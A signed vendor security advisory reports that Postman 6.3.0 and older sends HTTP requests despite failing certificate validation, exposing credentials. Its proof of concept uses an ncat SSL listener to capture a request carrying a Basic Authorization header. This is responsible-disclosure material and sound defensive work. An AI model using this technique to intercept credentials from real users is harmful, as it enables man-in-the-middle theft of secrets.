-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID: SYSS-2018-016
Product: Postman (standalone)
Manufacturer: Postman
Affected Version(s): 6.3.0 and older
Tested Version(s): 6.2.2 x64 (Windows and Linux), 6.3.0
Vulnerability Type: Improper Certificate Validation (CWE-295) 
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2018-08-01
Solution Date: -
Public Disclosure: 2018-09-21
CVE Reference: CVE-2018-17215
Author of Advisory: Ludwig Stage, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

Postman is a feature-rich REST client.

The manufacturer describes the product as follows (see [1]):

"Postman is the most complete toolchain for API development
* The most-used REST client worldwide
* Designed from the ground up to support the API developer
* Intuitive user interface to send requests, save responses, add tests,
and create workflows"

Due to improper certificate validation, Postman is vulnerable to
man-in-the-middle attacks.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

Postman validates the server's certificate and presents an error if the
certificate is not valid. Unfortunately, the HTTP request is sent
anyway. Only the response is not displayed. Thus, all contained
information of the HTTP request is disclosed, for example user
credentials.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

1. Open ncat SSL listener: ncat --ssl -l 8888 -k
2. Send GET request to URL in Postman: https://10.0.0.2:8888/postmanssl
3. Get error in Postman:

"Could not get any response
There was an error connecting to https://10.0.0.2:8888/postmanssl.

Why this might have happened:
The server couldn't send a response:
Ensure that the backend is working properly
Self-signed SSL certificates are being blocked:
Fix this by turning off 'SSL certificate verification' in Settings > General
Proxy configured incorrectly
Ensure that proxy is configured correctly in Settings > Proxy
Request timeout:
Change request timeout in Settings > General"

4. See HTTP GET request via ncat anyway:

GET /postmanssl HTTP/1.1
cache-control: no-cache
Postman-Token: 606e036d-9b05-449d-9347-c511ef322d28
Authorization: Basic bmljZTp0cnk=
User-Agent: PostmanRuntime/7.2.0
Accept: */*
Host: 10.0.0.2:8888
accept-encoding: gzip, deflate
Connection: keep-alive

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:
 

More Information:
 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2018-07-17: Vulnerability discovered
2018-08-01: Vulnerability reported to manufacturer
2018-08-08: Contacted the manufacturer again
          : Patch released by manufacturer
2018-09-21: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for Postman
    https://www.getpostman.com/postman
[2] SySS Security Advisory SYSS-2018-016
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2018-016.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Ludwig Stage of SySS GmbH.

E-Mail: ludwig.stage@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Ludwig_Stage.asc
Key Fingerprint: C2FF F40D FC78 791E EF81 20DF 4B57 48C9 53A5 EE5E

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEwv/0Dfx4eR7vgSDfS1dIyVOl7l4FAluk+BIACgkQS1dIyVOl
7l76CQ/+OQ8MZGssOGu+OYPmKnGyfc302fBJcIAc5Zy3moBqGRiA8qswz5AxNRbh
yg7RaTvYjhpe4ehUSDSyW0YD6mKxfkIOE3VWhwgk7Yu21Nqz4TOQHfAjoWjvvSCn
QmV2mBNI3BHwfuHstJtosb+v0VTwIvC3lztY2LGk3CuAEXkON33OWhEPdfjWQasM
5FBUiuDsKAuQV2RgRHcg8NhUbze5jqR4LJo2CqcXcLqTMn+ASQgKI+YMonnCW3tl
Qifo1P2ZMIjsecx1YAksvE/nOx/sN6BodKDBcgzE8iJskbb36zUFC9QeVzwd6skR
H63D7mvxzTUqdoJrHZO9M8Qz/3IGKug+viArh0DumbaBs8Lwf4fJlgfcQLIa0IBF
biv27ofgNa1LlvOsquZ+LKKdTxTfLpr78tZT7o6fVyjqqaPuXoIQ93YXD19GsKux
jp74+8qhWkCCufpIV6a8LqNhlnsynp++zIrhKkyPtbsCjaVRsgx3vF5oSWvN8M1L
ryPxMDeGTAGQ0FbJ7eNkoyLQepnTycEvmdHasmcNnL2mw8MnFYv1eXFMVt2C7K81
Z4S1sGAQpD7ExYH4Dv4pcLapvXBFtNxOi9oQW/WQvczx8pBmlnANSWs4fAcJRddR
omQQ/o19n4nNUjlRRgE4QQylC47NCqGFqAhmseA7ohN/dno4k94=
=BTJZ
-----END PGP SIGNATURE-----